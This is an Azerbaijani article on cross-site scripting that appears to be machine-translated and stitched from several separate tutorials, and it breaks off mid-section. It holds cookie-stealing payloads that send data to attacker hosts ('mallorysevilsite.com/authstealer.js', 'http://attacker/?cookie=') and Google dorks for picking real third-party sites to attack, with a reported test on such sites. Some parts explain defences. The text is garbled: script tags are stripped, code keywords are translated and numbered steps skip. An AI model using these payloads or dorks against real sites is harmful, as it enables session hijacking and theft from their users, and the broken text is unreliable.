Digər 

XSS zəifliklərindən maksimum yararlanmaq. XSS zəifliyi nədir?

Saytlararası skript (XSS) digər istifadəçilərin baxdığı veb səhifəyə müştəri tərəfi kodunun (JavaScript) yeridilməsini nəzərdə tutan zəiflikdir.

Zəiflik istifadəçinin veb səhifəyə daxil etmək üçün təqdim etdiyi məlumatların kifayət qədər filtrasiya edilməməsi ilə bağlıdır. Konkret bir nümunə ilə başa düşmək daha asandır. Hər hansı bir qonaq kitabını xatırlayın - bunlar istifadəçidən məlumatları qəbul etmək və sonra onu göstərmək üçün hazırlanmış proqramlardır. Təsəvvür edək ki, qonaq kitabı heç bir şəkildə daxil edilmiş məlumatları yoxlamır və ya filtr etmir, sadəcə olaraq onları göstərir.

Siz ən sadə skriptinizi eskiz edə bilərsiniz (PHP-də pis skriptlər yazmaqdan asan bir şey yoxdur - bunu çoxları edir). Ancaq artıq çoxlu hazır variantlar var. Məsələn, Dojo və OWASP Mutillidae II ilə başlamağı təklif edirəm. Orada da oxşar nümunə var. Bağımsız Dojo mühitində brauzerinizdə bu linkə keçin: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

İstifadəçilərdən biri daxil olubsa:

Bundan sonra veb səhifə göstərilir:

Salam! saytınızı bəyənirəm.

Və istifadəçi bunu daxil edərsə:

Salam! Saytınızı bəyənirəm.alert("Pwned")

Sonra bu şəkildə göstəriləcək:

Brauzerlər çoxlu sayda saytlar üçün çoxlu kukilər saxlayır. Hər bir sayt yalnız özü tərəfindən saxlanılan kukiləri qəbul edə bilər. Məsələn, example.com brauzerinizdə bəzi kukilər saxlamışdır. Başqa.com saytına daxil olsanız, bu sayt (müştəri və server skriptləri) example.com-un saxladığı kukilərə daxil ola bilməz.

Əgər example.com XSS-ə qarşı həssasdırsa, bu o deməkdir ki, biz ona hansısa yolla JavaScript kodu daxil edə bilərik və bu kod example.com adından icra olunacaq! Bunlar. Bu kod, məsələn, example.com kukilərinə giriş əldə edəcək.

Düşünürəm ki, hər kəs JavaScript-in istifadəçi brauzerlərində icra olunduğunu xatırlayır, yəni. XSS-nin mövcudluğunda, daxil edilmiş zərərli kod veb-sayt səhifəsini açan istifadəçinin məlumatlarına giriş əldə edir.

Daxili kod JavaScript-in edə biləcəyi hər şeyi edə bilər, yəni:

  • baxdığınız vebsaytın kukilərinə giriş əldə edir
  • səhifənin görünüşündə istənilən dəyişiklik edə bilər
  • mübadilə buferinə daxil olur
  • JavaScript proqramlarını həyata keçirə bilər, məsələn, keyloggerlər (klaviatura vuruşları)
  • BeEF-də götürün
  • və s.

Cookie ilə ən sadə nümunə:

xəbərdarlıq (document.cookie)

Əslində, xəbərdarlıq yalnız XSS-i aşkar etmək üçün istifadə olunur. Həqiqi zərərli yük gizli hərəkətləri yerinə yetirir. O, gizli şəkildə təcavüzkarın uzaq serveri ilə əlaqə saxlayır və oğurlanmış məlumatları ona ötürür.

XSS növləri

XSS növləri haqqında başa düşmək üçün ən vacib şey bunlardır:

  • Saxlanılır (Daimi)
  • Yansıdılmış (Dəyişkən)

Sabitlərə misal:

  • Təcavüzkar tərəfindən serverdə saxlanılan qonaqlar kitabına (şərh, forum mesajı, profil) daxil edilmiş xüsusi hazırlanmış mesaj istifadəçilər hər dəfə bu səhifəni göstərmək üçün müraciət etdikdə serverdən endirilir.
  • Təcavüzkar, məsələn, SQL inyeksiyası vasitəsilə server məlumatlarına giriş əldə etdi və istifadəçiyə verilən məlumatlara zərərli JavaScript kodunu (kilologgerlər və ya BeEF ilə) təqdim etdi.

Qeyri-daimi olanlara misal:

  • Saytda axtarış nəticələri ilə yanaşı, “Axtardığınız: [axtarış sətri]” kimi bir şey göstərən bir axtarış var və məlumatlar düzgün süzülməyib. Belə bir səhifə yalnız ona keçidi olan şəxsə göstərildiyi üçün hücum edən şəxs linki saytın digər istifadəçilərinə göndərənə qədər hücum işləməyəcək. Qurbana bir keçid göndərmək əvəzinə, zərərli skriptin qurbanın ziyarət etdiyi neytral saytda yerləşdirilməsindən istifadə edə bilərsiniz.

Onlar həmçinin fərqləndirirlər (bəziləri davamlı olmayan XSS zəifliklərinin bir növü kimi, bəziləri bu növün də davamlı XSS ​​növü ola biləcəyini söyləyirlər):

  • DOM modelləri
DOM əsaslı XSS ​​xüsusiyyətləri

Çox sadə desək, HTML kodunu açsaq, “müntəzəm” davamlı olmayan XSS-in zərərli kodunu görə bilərik. Məsələn, keçid belə qurulur:

Http://example.com/search.php?q="/>alert(1)

Və mənbə HTML kodunu açdıqda belə bir şey görürük:

alert(1)" /> Tap

Və DOM XSS tez brauzerdə formalaşan DOM strukturunu dəyişir və biz yalnız yaradılan DOM strukturuna baxarkən zərərli kodu görə bilirik. HTML dəyişmir. Nümunə olaraq bu kodu götürək:

site:::DOM XSS Xəta baş verdi... funksiya OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) function get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");"); if (nəticələr) ( document.getElementById("default").innerHTML = ""; return (unescape(nəticələr)); ) else ( return null; ) ) display_session = OnLoad(); document.write("Seans ID-niz: " + display_session + "

")

Sonra brauzerdə biz görəcəyik:

Səhifənin mənbə kodu:

Ünvanı belə formalaşdıraq:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

İndi səhifə belə görünür:

Ancaq gəlin HTML mənbə koduna nəzər salaq:

Orada ümumiyyətlə heç nə dəyişməyib. Bu barədə danışırdım, zərərli kodu müəyyən etmək üçün sənədin DOM strukturuna baxmalıyıq:

Budur işləyən XSS prototipi, real hücum üçün bizə daha mürəkkəb faydalı yük lazımdır, bu, tətbiqin nöqtəli vergüldən dərhal sonra oxumağı dayandırması və alert(1);alert(2) kimi bir şeyin olmaması səbəbindən mümkün deyil. daha uzun müddət mümkündür. Bununla belə, unescape() sayəsində biz qaytarma məlumatlarında bu kimi faydalı yükdən istifadə edə bilərik:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Simvolun yerini dəyişdiyimiz yer ; URI ilə kodlanmış ekvivalentə!

Biz indi zərərli JavaScript yükünü yaza və standart davamlı olmayan saytlararası skript üçün edildiyi kimi qurbana göndərmək üçün keçid yarada bilərik.

XSS Auditoru

Google Chrome-da (həmçinin indi Google Chrome mühərrikindən istifadə edən Operada) məni bu sürpriz gözləyirdi:

dom_xss.html:30 XSS Auditoru "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" daxilində skripti icra etməkdən imtina etdi. çünki onun mənbə kodu sorğu daxilində tapılıb. Server nə "X-XSS-Mühafizə", nə də "Məzmun-Təhlükəsizlik Siyasəti" başlığını göndərmədiyi üçün auditor işə salındı.

Bunlar. brauzerdə indi XSS-in qarşısını almağa çalışacaq XSS auditoru var. Firefox hələ ki, bu funksiyaya malik deyil, amma məncə, bu zaman məsələsidir. Brauzerlərdə tətbiq uğurlu olarsa, XSS-dən istifadədə əhəmiyyətli bir çətinlikdən danışa bilərik.

Müasir brauzerlərin davamlı olmayan XSS və DOM əsaslı XSS ​​kimi istismar problemlərinin səviyyəsini məhdudlaşdırmaq üçün addımlar atdığını xatırlamaq yaxşıdır. Brauzerdən istifadə edərək veb-saytları sınaqdan keçirərkən bu da yadda saxlanmalı bir şeydir - veb tətbiqinin həssas olduğu ortaya çıxa bilər, ancaq brauzer onu blokladığı üçün pop-up təsdiqini görmürsünüz.

XSS istismar nümunələri

Saytlararası skript zəifliklərindən istifadə etmək niyyətində olan hücumçular hər bir zəiflik sinfinə fərqli yanaşmalıdırlar. Burada hər bir sinif üçün hücum vektorları təsvir edilmişdir.

XSS zəiflikləri üçün hücumlar BeEF-dən istifadə edə bilər ki, bu da hücumu vebsaytdan istifadəçilərin yerli mühitinə genişləndirir.

Davamlı olmayan XSS hücumunun nümunəsi

1. Alice tez-tez Bob tərəfindən idarə olunan müəyyən vebsayta baş çəkir. Bobun veb-saytı Aliceyə istifadəçi adı/parol ilə daxil olmağa və ödəniş məlumatları kimi həssas məlumatları saxlamağa imkan verir. İstifadəçi daxil olduqda, brauzer mənasız simvollara bənzəyən avtorizasiya kukilərini saxlayır, yəni. hər iki kompüter (müştəri və server) onun daxil olduğunu xatırlayır.

2. Mallory qeyd edir ki, Bobun vebsaytında davamlı olmayan XSS zəifliyi var:

2.1 Axtarış səhifəsinə daxil olduqda, axtarış sətirini daxil edin və təqdim düyməsini sıxın, heç bir nəticə tapılmadıqda, səhifədə daxil edilmiş axtarış sətri və ardınca “tapılmadı” sözləri göstərilir və url http://bobssite kimi görünür. .org?q= onun axtarış sorğusu

2.2 "İtlər" sözü kimi normal axtarış sorğusu ilə səhifə sadəcə olaraq "it tapılmadı" və http://bobssite.org?q=dogs URL-ni göstərir, bu olduqca normal davranışdır.

2.3 Lakin, anomal axtarış sorğusu alert("xss"); :

2.3.1 Xəbərdarlıq mesajı görünür (“xss” deyir).

2.3.2 Səhifədə alert("xss") göstərilir; "xss" mətni ilə səhv mesajı ilə birlikdə tapılmadı.

2.3.3 İstismar üçün uyğun url http://bobssite.org?q=alert("xss");

3. Mallory zəiflikdən istifadə etmək üçün URL qurur:

3.1 O, URL http://bobssite.org?q=puppies edir. O, ASCII simvollarını ardıcıl olaraq http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E kimi onaltılıq formata çevirməyi seçə bilər. insanların zərərli URL-i dərhal deşifrə etməsinin qarşısını almaq üçün.

3.2 O, Bobun saytının bəzi şübhəsiz üzvlərinə e-məktub göndərir: "Sərin itləri yoxlayın".

4. Alisa məktub alır. O, itləri sevir və linkə klikləyir. Axtarışda Bobun saytına gedir, heç nə tapmır, orada “heç bir it tapılmadı” göstərilir və ortada bir skript olan bir etiket işə salınır (ekranda görünməzdir), Mallory's-i yükləyir və icra edir. authstealer.js proqramı (XSS hücumunu tetikler). Alice bunu unudur.

5. Authstealer.js proqramı Bobun saytından yaranmış kimi Alicenin brauzerində işləyir. O, Alisin icazə kukilərinin bir nüsxəsini götürür və onları Malory-nin serverinə göndərir, burada Malory onları geri alır.

7. İndi Mallory içəridədir, o, vebsaytın ödəniş bölməsinə gedir, Alisin kredit kartı nömrəsinin surətinə baxır və oğurlayır. Sonra gedib parolu dəyişir, yəni. İndi Alisa daha içəri girə bilmir.

8. O, növbəti addımı atmağa qərar verir və bu şəkildə qurulan linki Bobun özünə göndərir və bununla da Bobun saytı üçün inzibati imtiyazlar alır.

Davamlı XSS ​​hücumu

  • Mallorinin Bobun saytında hesabı var.
  • Mallory qeyd edir ki, Bobun vebsaytında davamlı XSS ​​zəifliyi var. Əgər siz yeni bölməyə keçib şərh yazsanız, orada nə yazılsa, orada göstərilir. Lakin şərh mətnində HTML teqləri varsa, həmin teqlər olduğu kimi göstəriləcək və istənilən skript teqləri icra olunacaq.
  • Mallory Xəbərlər bölməsində məqalə oxuyur və Şərhlər bölməsində şərh yazır. Şərhdə o, mətni əlavə edir:
  • Bu hekayədəki itləri çox bəyəndim. Onlar çox gözəldirlər!
  • Alice (və ya başqası) bu şərhi olan səhifəni yüklədikdə, Malory-nin skript teqi işə düşür və Alicenin icazə kukisini oğurlayır və onu toplanması üçün Malory-nin gizli serverinə göndərir.
  • Mallory indi Alice'nin seansını qaçıra və Alice'i təqlid edə bilər.
    • XSS-ə qarşı həssas olan saytların tapılması

    XSS üçün Dorks

    İlk addım XSS hücumlarını həyata keçirəcəyimiz saytları seçməkdir. Google dorks istifadə edərək saytlarda axtarış etmək olar. Google axtarışına köçürə və yapışdıra biləcəyiniz bu ahmaqlardan bir neçəsi:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl:search.php
    • inurl:.php?search=

    Qarşımızda saytların siyahısı açılacaq. Siz saytı açmalı və orada rəy forması, daxiletmə forması, sayt axtarışı və s. kimi daxiletmə sahələrini tapmalısınız.

    Dərhal qeyd edim ki, populyar avtomatik yenilənən veb proqramlarda zəiflikləri axtarmaq demək olar ki, faydasızdır. Belə bir tətbiqin klassik nümunəsi WordPress-dir. Əslində WordPress-də və xüsusən də onun plaginlərində zəifliklər var. Üstəlik, nə WordPress mühərrikini (vebmasterin mənbə kodunda bəzi dəyişikliklər etdiyinə görə), nə də onların plaginlərini və mövzularını (bir qayda olaraq, bunlar pirat plaginlər və mövzulardır) yeniləməyən bir çox saytlar var. Amma bu bölməni oxuyub oradan yeni bir şey öyrənsəniz, WordPress hələ sizin üçün deyil... Daha sonra mütləq ona qayıdacağıq.

    Ən yaxşı hədəflər müxtəlif öz-özünə yazılmış mühərriklər və skriptlərdir.

    kimi daxiletmə yükünü seçə bilərsiniz

    xəbərdarlıq (1)

    Daxili kodunuzun hansı HTML kodunun teqlərinə düşdüyünə diqqət yetirin. Tipik bir giriş sahəsinə bir nümunə:

    xəbərdarlıq (1)

    Yükümüz "yastıq çantası" sözünün indi olduğu yerdə bitəcək. Bunlar. giriş etiketinin dəyərinə çevrilir. Bunun qarşısını ala bilərik - biz ikiqat sitatı, sonra isə "/> ilə etiketi bağlayırıq

    "/>xəbərdarlıq(1)

    Bəzi saytlar üçün cəhd edək:

    Əla, zəiflik var

    XSS zəifliklərinin axtarışı və skan edilməsi üçün proqramlar

    Yəqin ki, bütün veb proqram skanerlərində daxili XSS zəiflik skaneri var. Bu mövzu hərtərəfli deyil, hər bir oxşar skanerlə ayrıca tanış olmaq daha yaxşıdır.

    Java skriptindən istifadə edərək saytlar arası skript ən populyar hücum növüdür. Bu materialda biz sizə java skriptindən istifadə zamanı yarana biləcək çətinliklər və özünüzü XSS hücumlarından necə qorumağınız barədə məlumat verəcəyik.

    XSS hücumu nədir?

    XSS İnternet resurslarının istifadəçilərinə hücum növüdür, məqsədi inzibati hissəyə və resursun qapalı hissələrinə şəxsi giriş imkanı olan digər istifadəçilərə giriş əldə etmək üçün sayt administratorlarının autentifikasiya məlumatlarını oğurlamaqdır. .

    Bu hücumlar təkcə saytı sındırmaq üçün deyil, həm də oğurlamaq üçün həyata keçirilə bilər:

    • Üçüncü tərəfin resurslarına giriş üçün etimadnamələr;
    • bank kartı nömrələri;
    • Elektron pul kisələrinə daxil olmaq üçün məlumatlar;
    • Əlaqə məlumatları;
    • Digər istifadəçi məxfi məlumatları.
    XSS hücum vektorları

    Bu tip hücumun iki istiqaməti var:

    Aktiv – təcavüzkar İnternet resurs filtrində boşluqları tapmağa çalışdıqda hücum növü. Müəyyən simvolların və etiketlərin birləşməsindən istifadə edərək, haker resursun başa düşdüyü və əmri yerinə yetirdiyi sorğu yaradır. Təhlükəsizlik sistemində boşluq aşkar edildikdən sonra sorğuya zərərli kod daxil edilir, o, məsələn, bütün kukiləri haker üçün əlverişli yerə göndərəcək.

    Passiv - hücum subyektinin müdaxiləsini nəzərdə tutur. İdeya istifadəçini zərərli kodu həyata keçirmək üçün zərərli linki izləməyə məcbur etməkdir. Bu hücumları həyata keçirmək çətindir, çünki onlar təcavüzkardan mükəmməl texniki biliyə və yaxşı psixologiya biliyinə malik olmasını tələb edir.

    Təhlükəsizlik qaydaları

    XSS hücumunun qurbanı olmamaq üçün aşağıdakı təhlükəsizlik qaydalarına əməl etməlisiniz:

  • Tərtibatçılar üçün əsas qayda istənilən filtrdən istifadə etməkdir.
  • Bütün daxili strukturları süzün.
  • Şifrələmə. Filtr yaratarkən, hücumların kodlaşdırılması riskini nəzərə aldığınızdan əmin olun. Hər hansı bir hücumu şifrələyə biləcəyiniz bir çox kodlaşdırma proqramı var ki, heç bir filtr onu "görməsin". Beləliklə, sorğu kodunu yerinə yetirməzdən əvvəl filtrdə şifrənin açılmasını tətbiq edin.
  • Etiketlərin tətbiqi. Javacsript ehtiva edən lowsrc və dynsrc daxil olmaqla bir çox parametrləri olan url, bb, img teqləri ilə əlaqəli bir zəiflik var. Bu etiketlər süzülməlidir. Resursunuzda şəkillərdən istifadə etmirsinizsə, onları tamamilə söndürün.
  • İstifadə olunan filtr müxtəlif mümkün simvol birləşmələrini nəzərə almalıdır. Nə qədər çox olsa, bir o qədər yaxşıdır.
    • Nəticə

    Statistikaya görə, internet resurslarının 84%-i XSS hücumlarından yaxşı qorunur. Digər 16% isə onlara effektiv müqavimət göstərə bilmir. Bu kobud qüsuru aradan qaldırmaq sayt sahiblərindən təhlükəsizliyinə əlavə sərmayələr qoymağı tələb edir ki, onların əksəriyyəti buna hazır deyil. Bununla belə, şəxsi məlumatların zədələnməsi, sızması və açıqlanması ilə bağlı qanunvericiliyin sərtləşdirilməsi vicdansız sahibləri getdikcə daha çox saytlarının təhlükəsizliyini yaxşılaşdırmağa məcbur edir.

    Və saytlararası skriptlə bağlı hərtərəfli təlimatdır.

    Birinci hissə: XSS nədir?

    Saytlararası skript ( İngilis dili Saytlararası skript) təcavüzkarın başqa istifadəçinin brauzerində zərərli JavaScript-i icra etməyə imkan verən kod inyeksiya hücumudur.

    Təcavüzkar qurbanına birbaşa hücum etmir. Bunun əvəzinə o, qurbanın daxil olduğu vebsaytdakı boşluqdan istifadə edir və zərərli JavaScript kodunu yeridir. Qurbanın brauzerində zərərli JavaScript veb-saytın qanuni hissəsi kimi görünür və veb-sayt özü təcavüzkarın birbaşa ortağı kimi çıxış edir.

    Zərərli JavaScript kodunun yeridilməsi

    Təcavüzkarın qurbanın brauzerində zərərli JavaScript işlətməsinin yeganə yolu onu qurbanın vebsaytdan yüklədiyi səhifələrdən birinə yeritməkdir. Bu, əgər veb-sayt istifadəçilərə öz səhifələrinə məlumat daxil etməyə icazə verərsə və təcavüzkar qurbanın brauzerində kodun bir hissəsi kimi aşkar ediləcək sətir daxil edə bilsə, bu mümkündür.

    Aşağıdakı nümunə saytda ən son şərhi göstərmək üçün istifadə edilən sadə server tərəfi skripti göstərir:

    çap ""
    çap "Son şərh:"
    verilənlər bazasını çap edin.latestComment
    çap ""

    Skript şərhin yalnız mətndən ibarət olduğunu güman edir. Lakin, birbaşa istifadəçi girişi aktiv olduğundan, təcavüzkar bu şərhi tərk edə bilər: "..." . Səhifəni ziyarət edən istənilən istifadəçi indi aşağıdakı cavabı alacaq:


    Son şərh:
    ...

    İstifadəçinin brauzeri səhifəni yüklədikdə o, daxilində olan JavaScript kodu daxil olmaqla hər şeyi yerinə yetirəcək. Hücumçu hücumu uğurla həyata keçirib.

    Zərərli JavaScript nədir?

    Qurbanın brauzerində JavaScript-i icra etmək imkanı xüsusilə zərərli görünməyə bilər. JavaScript istifadəçi və əməliyyat sistemi fayllarına son dərəcə məhdud çıxışı olan çox məhdud mühitdə işləyir. Əslində, siz JavaScript konsolunu brauzerinizdə elə indi aça və istədiyiniz JavaScript-i icra edə bilərsiniz və kompüterinizə hər hansı bir zərər verə bilmə ehtimalınız çox azdır.

    Bununla belə, JavaScript kodunun zərərli kod kimi fəaliyyət göstərməsi potensialı aşağıdakı faktları nəzərdən keçirdikdə daha aydın olur:

    • JavaScript kukilər kimi bəzi həssas istifadəçi məlumatlarına giriş imkanına malikdir.
    • JavaScript XMLHttpRequest və digər mexanizmlərdən istifadə edərək istənilən istiqamətə ixtiyari məzmunlu HTTP sorğuları göndərə bilər.
    • JavaScript DOM manipulyasiya üsullarından istifadə edərək cari səhifənin HTML kodunda ixtiyari dəyişikliklər edə bilər.

    Bu faktlar birləşdirilərsə, çox ciddi təhlükəsizlik pozuntularına, təfərrüatlara səbəb ola bilər.

    Zərərli JavaScript kodunun nəticələri

    Bundan əlavə, başqa bir istifadəçinin brauzerində ixtiyari JavaScript icra etmək imkanı təcavüzkarın aşağıdakı hücum növlərini həyata keçirməsinə imkan verir:

    Cookie oğurluğu

    Təcavüzkar sənəd.cookie istifadə edərək qurbanın veb-saytı ilə əlaqəli kukilərə daxil ola, onları öz serverinə göndərə və onlardan sessiya identifikatorları kimi həssas məlumatları çıxarmaq üçün istifadə edə bilər.

    Keylogger

    Təcavüzkar addEventListener istifadə edərək klaviatura hadisəsi dinləyicisini qeydiyyatdan keçirə və sonra istifadəçinin bütün düymə vuruşlarını öz serverinə göndərərək, parollar və kredit kartı nömrələri kimi potensial olaraq həssas məlumatları qeyd edə bilər.

    Fişinq

    təcavüzkar DOM manipulyasiyasından istifadə edərək səhifəyə saxta giriş forması daxil edə, formanın fəaliyyət atributlarını öz serverinə təyin edə və sonra istifadəçini həssas məlumat əldə etmək üçün aldada bilər.

    Bu hücumlar əhəmiyyətli dərəcədə fərqlənsə də, onların hamısının bir əhəmiyyətli oxşarlığı var: təcavüzkar veb-saytın xidmət etdiyi səhifəyə kod yeritdiyi üçün zərərli JavaScript həmin vebsaytın kontekstində icra olunur. Bu o deməkdir ki, o, həmin saytdakı hər hansı digər skript kimi rəftar edilir: o, həmin veb-sayt üçün qurbanın məlumatlarına (kukilər kimi) daxil olur və URL sətrində göstərilən host adı vebsaytınki ilə eyni olacaq. Bütün məqsədlər üçün skript veb-saytın qanuni hissəsi hesab edilir və veb-saytın özünün edə biləcəyi hər şeyi etməyə imkan verir.

    Bu fakt əsas məsələni vurğulayır:

    Təcavüzkar digər istifadəçilərin brauzerlərində ixtiyari JavaScript kodunu icra etmək üçün veb saytınızdan istifadə edə bilərsə, vebsaytınızın və onun istifadəçilərinin təhlükəsizliyi pozulur.

    Bu məqamı vurğulamaq üçün bu dərslikdəki bəzi zərərli skript nümunələri təfərrüatsız qalacaq,... Bu onu göstərir ki, hansı xüsusi skript kodunun əslində icra olunmasından asılı olmayaraq, təcavüzkar tərəfindən yeridilmiş skriptin mövcudluğu problemdir.

    İkinci hissə: XSS hücumu XSS hücumunun iştirakçıları

    XSS hücumunun necə işlədiyini ətraflı təsvir etməzdən əvvəl XSS hücumunda iştirak edən aktyorları müəyyən etməliyik. Ümumiyyətlə, XSS hücumunun üç tərəfi var: vebsayt, qurban və təcavüzkar.

    • Veb sayt tələb edən istifadəçilərə HTML səhifələri təqdim edir. Nümunələrimizdə http://website/ ünvanında yerləşir.
      • Veb-sayt verilənlər bazası istifadəçilər tərəfindən veb-saytın səhifələrində daxil edilmiş məlumatların bir hissəsini saxlayan verilənlər bazasıdır.
    • Qurban veb saytın adi istifadəçisidir və brauzerindən istifadə edərək ondan səhifələr tələb edir.
    • Təcavüzkar veb-saytdakı XSS ​​zəifliyindən istifadə edərək qurbana hücum etmək niyyətində olan təcavüzkardır.
      • Təcavüzkarın serveri yalnız qurbanın məxfi məlumatlarını oğurlamaq məqsədi ilə təcavüzkar tərəfindən idarə olunan veb serverdir. Nümunələrimizdə o, http://attacker/ ünvanında yerləşir.
    Hücum ssenarisi nümunəsi


    window.location="http://attacker/?cookie="+document.cookie

    Bu skript istifadəçinin brauzerini təcavüzkarın serverinə yönləndirəcək başqa URL-ə HTTP sorğusu yaradacaq. URL sorğu parametri kimi qurbanın kukilərini ehtiva edir, HTTP sorğusu təcavüzkarın serverinə gəldikdə, təcavüzkar bu kukiləri sorğudan çıxara bilər. Təcavüzkar kukiləri aldıqdan sonra onlardan qurbanı təqlid etmək və sonrakı hücuma başlamaq üçün istifadə edə bilər.

    Bundan sonra yuxarıda göstərilən HTML kodu zərərli sətir və ya zərərli skript adlandırılacaq. Başa düşmək vacibdir ki, sətir yalnız zərərçəkmişin brauzerində HTML kimi göstərildiyi halda zərərlidir və bu, yalnız vebsaytda XSS zəifliyi olduqda baş verə bilər.

    Bu nümunə hücum necə işləyir

    Aşağıdakı diaqram təcavüzkarın hücumunun nümunəsini göstərir:

  • Təcavüzkar veb-saytın verilənlər bazasına zərərli sətir daxil etmək üçün vebsaytın formalarından birini istifadə edir.
  • Qurban bir internet saytından səhifə tələb edir.
  • Sayt cavaba zərərli verilənlər bazası sətrini daxil edir və onu qurbana göndərir.
  • Qurbanın brauzeri cavab daxilində zərərli skript icra edərək, qurbanın kukisini təcavüzkarın serverinə göndərir.
    • XSS növləri

    XSS hücumunun məqsədi həmişə qurbanın brauzerində zərərli JavaScript skriptini icra etməkdir. Bu məqsədə çatmağın bir neçə əsaslı fərqli yolu var. XSS hücumları çox vaxt üç növə bölünür:

    • Zərərli sətirin veb saytın verilənlər bazasından qaynaqlandığı saxlanılan (davamlı) XSS.
    • Zərərli sətirin qurbanın sorğusu əsasında yaradıldığı əks olunan (davamlı olmayan) XSS.
    • XSS DOM-ları, burada boşluq server kodu deyil, müştəri tərəfi kodunda baş verir.

    Əvvəlki nümunə saxlanılan XSS hücumunu göstərir. İndi XSS hücumlarının digər iki növünü təsvir edəcəyik: əks olunan XSS və DOM XSS hücumları.

    Yansıtılmış XSS

    Yansıtılmış XSS hücumunda zərərli sətir qurbanın vebsayta etdiyi sorğunun bir hissəsidir. Sayt bu zərərli sətri qəbul edir və istifadəçiyə göndərilən cavaba daxil edir. Aşağıdakı diaqram bu ssenarini göstərir:

  • Qurban təcavüzkarı veb-sayta URL sorğusu göndərmək üçün aldadır.
  • Sayt qurbana verilən cavabda URL sorğusundan zərərli sətir ehtiva edir.
  • Qurbanın brauzeri cavabda olan zərərli skripti icra edir, qurbanın kukilərini təcavüzkarın serverinə göndərir.

    • Yansıtılmış XSS hücumunu necə uğurla həyata keçirmək olar?

    Yansıtılmış XSS hücumu zərərsiz görünə bilər, çünki o, qurbandan onların adından zərərli sətir ehtiva edən sorğu göndərməsini tələb edir. Heç kim könüllü olaraq özünə hücum etməyəcəyinə görə, hücumu reallaşdırmaq üçün heç bir yol yoxdur.

    Göründüyü kimi, qurbanı özlərinə qarşı əks olunmuş XSS hücumu etməyə məcbur etməyin ən azı iki ümumi yolu var:

    • Əgər istifadəçi konkret şəxsdirsə, təcavüzkar qurbana zərərli URL göndərə bilər (məsələn, e-poçt və ya ani messencer vasitəsilə) və onu vebsayta daxil olmaq üçün linki açması üçün aldada bilər.
    • Hədəf böyük bir istifadəçi qrupudursa, təcavüzkar zərərli URL-ə keçid yerləşdirə bilər (məsələn, öz veb-saytında və ya sosial şəbəkəsində) və ziyarətçilərin linkə kliklənməsini gözləyə bilər.

    Bu üsulların hər ikisi oxşardır və hər ikisi zərərli sətri onu müəyyən edə biləcək istifadəçilərdən gizlədəcək URL qısaldıcı xidmətlərdən istifadə etməklə daha uğurlu ola bilər.

    DOM-da XSS

    DOM-da XSS həm saxlanılan, həm də əks olunan XSS hücumlarının variantıdır. Bu XSS hücumunda, vebsaytın faktiki JavaScript-i icra olunana qədər zərərli sətir qurbanın brauzeri tərəfindən işlənmir. Aşağıdakı diaqram əks olunan XSS hücumu üçün bu ssenarini göstərir:

  • Təcavüzkar zərərli sətirdən ibarət URL yaradır və onu qurbana göndərir.
  • Qurban təcavüzkarı veb-sayta URL sorğusu göndərmək üçün aldadır.
  • Sayt sorğunu qəbul edir, lakin cavaba zərərli sətri daxil etmir.
  • Qurbanın brauzeri cavabda olan qanuni skripti icra edir və zərərli skriptin səhifəyə daxil edilməsinə səbəb olur.
  • Qurbanın brauzeri səhifəyə daxil edilmiş zərərli skripti icra edərək, qurbanın kukilərini təcavüzkarın serverinə göndərir.
    • DOM-da XSS arasındakı fərq nədir?

    Saxlanılan və əks olunan XSS hücumlarının əvvəlki nümunələrində server zərərli skripti səhifəyə daxil edir, sonra bu skript qurbana cavab olaraq yönləndirilir. Qurbanın brauzeri cavabı aldıqda, zərərli skriptin səhifənin qanuni məzmununun bir hissəsi olduğunu güman edir və hər hansı digər skript kimi səhifə yüklənərkən onu avtomatik olaraq icra edir.

    DOM-da XSS hücumu nümunəsində zərərli skript səhifənin bir hissəsi kimi daxil edilmir; səhifə yüklənərkən avtomatik icra edilən yeganə skript səhifənin qanuni hissəsidir. Problem ondadır ki, bu qanuni skript səhifəyə HTML əlavə etmək üçün birbaşa istifadəçi girişindən istifadə edir. Zərərli sətir innerHTML istifadə edərək səhifəyə daxil edildiyi üçün o, HTML kimi təhlil edilir və zərərli skriptin icrasına səbəb olur.

    Bu fərq kiçikdir, lakin çox vacibdir:

    • Ənənəvi XSS-də zərərli JavaScript server tərəfindən göndərilən HTML-nin bir hissəsi kimi səhifə yükləndikdə icra olunur.
    • DOM-da XSS vəziyyətində, zərərli JavaScript səhifə yükləndikdən sonra icra edilir və bu, qanuni JavaScript səhifəsinin etibarlı olmayan şəkildə istifadəçi daxiletməsinə (zərərli sətri ehtiva edən) daxil olmasına səbəb olur.
    XSS DOM-da necə işləyir?

    Əvvəlki nümunədə JavaScript-ə ehtiyac yoxdur; server bütün HTML-ni özü yarada bilər. Əgər server tərəfindəki kodda zəifliklər olmasaydı, vebsayt XSS zəifliyinə həssas olmazdı.

    Bununla belə, veb proqramlar daha təkmilləşdikcə, serverdə deyil, müştəri tərəfində JavaScript istifadə edərək getdikcə daha çox HTML səhifəsi yaradılır. İstənilən vaxt məzmun bütün səhifəni yeniləmədən dəyişməlidir, bu JavaScript-dən istifadə etməklə mümkündür. Bu, xüsusilə AJAX sorğusundan sonra səhifə yeniləndikdə baş verir.

    Bu o deməkdir ki, XSS boşluqları təkcə saytınızın server kodunda deyil, həm də saytınızın müştəri tərəfindəki JavaScript kodunda ola bilər. Buna görə də, hətta tam təhlükəsiz server tərəfi kodu olsa belə, səhifə yükləndikdən sonra DOM-u yeniləyərkən müştəri kodu hələ də istifadəçi daxiletməsini təhlükəsiz şəkildə daxil etməyə bilər. Əgər bu baş verərsə, müştəri tərəfi kodu XSS hücumunun server tərəfi kodunun günahı olmadan baş verməsinə imkan verəcək.

    DOM əsaslı XSS ​​serverə görünməyə bilər

